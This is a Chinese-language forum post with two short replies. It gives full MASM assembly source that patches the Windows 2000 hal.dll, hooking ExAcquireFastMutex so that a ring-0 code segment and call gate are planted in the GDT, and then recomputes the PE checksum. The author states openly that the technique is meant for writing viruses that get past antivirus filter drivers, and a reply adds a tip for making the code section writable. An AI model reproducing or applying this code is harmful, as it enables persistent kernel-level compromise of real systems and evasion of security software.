阅读:2414回复:2
修改HAL生成CALLGATE
修改HAL生成CALLGATE
常年来在NT核心下进RING0需要ADM权限,是最方便的方法,不过对于写病毒而言却不利,根据29A的说法最好是杀入RING0后挂接FSD,在反病毒过滤驱动的上层和下层做手脚,从而骗过病毒防火墙,可进入RING0一直是大家心中永远的痛,好在MS到也大方,对于核心驱动还是留给我们修改的余地,前些日子郁闷,做了个测试,通过修改HAL在GDT上生成CALLGATE后,可以随意进入RING0,到也方便,不过对不同的OS可能要修改不同的地方,稍微麻烦点,不过对于写病毒来说应该是不难的吧,下面的例子我在我的WIN2K SP4上测试通过,修改HAL的第一个导出函数ExAcquireFastMutex来挂接我们自己的代码,在GDT的最后生成我们自己的RING0 CS和CALLGATE,CALLGATE指向GDT 的NULL SELECTOR上的RET指令,这样可以随意把自己的代码加入到CALLGATE中,详细用法也可以参考MGF的病毒的方法,或我在驱动网写的些例子。 在XP下的偏移地址会不同,你找些PE的空地方看看,我在2K SP4下用了RVA 1200H,那里比较空,嘿嘿。。。。。测试的时候把HAL作个备份,不然系统起不来可别郁闷了,嘿嘿。。。。。。 .586p .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\gdi32.inc include \masm32\include\advapi32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\gdi32.lib includelib \masm32\lib\advapi32.lib CHAGEADDR equ 1200h .code start: nop nop nop nop call _EditHal invoke ExitProcess,0 _EditHal proc local @hFile local @hFileMap local @lpFileMap local @lpSystemDir[40h]:byte local @lpCurrentDir[200h]:byte local @FileSize ;push 40h ;lea edi,@lpSystemDir ;push edi ;call GetSystemDirectory ;invoke GetSystemDirectory,addr @lpSystemDir,100h lea edi,@lpCurrentDir push edi push 200h call GetCurrentDirectory mov dword ptr [edi+eax],'lah\' mov dword ptr [edi+eax+4],'lld.' mov dword ptr [edi+eax+8],0 push 0 push 80h push 3 push 0 push 0 push 0c0000000h push edi call CreateFile ;invoke CreateFile,addr @lpSystemDir,0c0000000h,0,0,2,80h,0 .if eax!=0ffffffffh mov @hFile,eax push 0 push eax call GetFileSize ;get file size .if eax!=INVALID_HANDLE_VALUE mov @FileSize,eax push 0 push 0 push 0 push 4 push 0 push @hFile call CreateFileMapping ;invoke CreateFileMapping,eax,0,4,0,edx,0 .if eax mov @hFileMap,eax push 0 push 0 push 0 push 6 push eax call MapViewOfFile ;invoke MapViewOfFile,eax,6,0,0,0 .if eax mov @lpFileMap,eax mov edx,eax add edx,[edx+3ch] mov ebx,edx mov edx,[edx+78h] add edx,eax mov edx,[edx+1ch] add edx,eax mov ecx,[edx] .if ecx!=CHAGEADDR sub ecx,CHAGEADDR+offset ring0apiend-offset ring0apistart mov origentry,ecx mov edi,eax add edi,CHAGEADDR mov esi,offset ring0apistart mov ecx,offset ring0apiend-offset ring0apistart cld rep movsb mov dword ptr [edx],CHAGEADDR CheckSum: mov edi,ebx mov esi,@lpFileMap assume ebx:nothing assume edi:ptr IMAGE_NT_HEADERS mov dword ptr[edi].OptionalHeader.CheckSum,0 mov ecx,@FileSize inc ecx shr ecx,1 xor eax,eax clc cal_checksum: adc ax,word ptr[esi] inc esi inc esi loop cal_checksum mov ebx,@FileSize add eax,ebx mov dword ptr[edi].OptionalHeader.CheckSum,eax .endif push @lpFileMap call UnmapViewOfFile ;invoke UnmapViewOfFile,@lpFileMap .endif push @hFileMap call CloseHandle ;invoke CloseHandle,@hFileMap .endif .endif push @hFile call CloseHandle ;invoke CloseHandle,@hFile .endif ret _EditHal endp ring0apistart: push edx push dx sgdt fword ptr [esp] pop cx pop edx movzx ecx,cx and cl,0f0h .if word ptr [edx+ecx+4]!=0ec00h mov byte ptr [edx],0c3h mov dword ptr [edx+ecx],edx mov dword ptr [edx+ecx+4],edx mov dword ptr [edx+ecx+2],0ec000008h add dword ptr [edx+ecx+2],ecx mov dword ptr [edx+ecx+8],0000ffffh mov dword ptr [edx+ecx+12],00cf9a00h .endif popad popfd db 0e9h origentry dd 0 ring0apiend: end start |
|
|
沙发#
发布于:2004-09-01 11:27
由于要写代码段,别忘了给TEXT段上加上RWE属性。
|
|
|
板凳#
发布于:2005-02-01 13:00
牛,顶,很好的文章。
|
|
|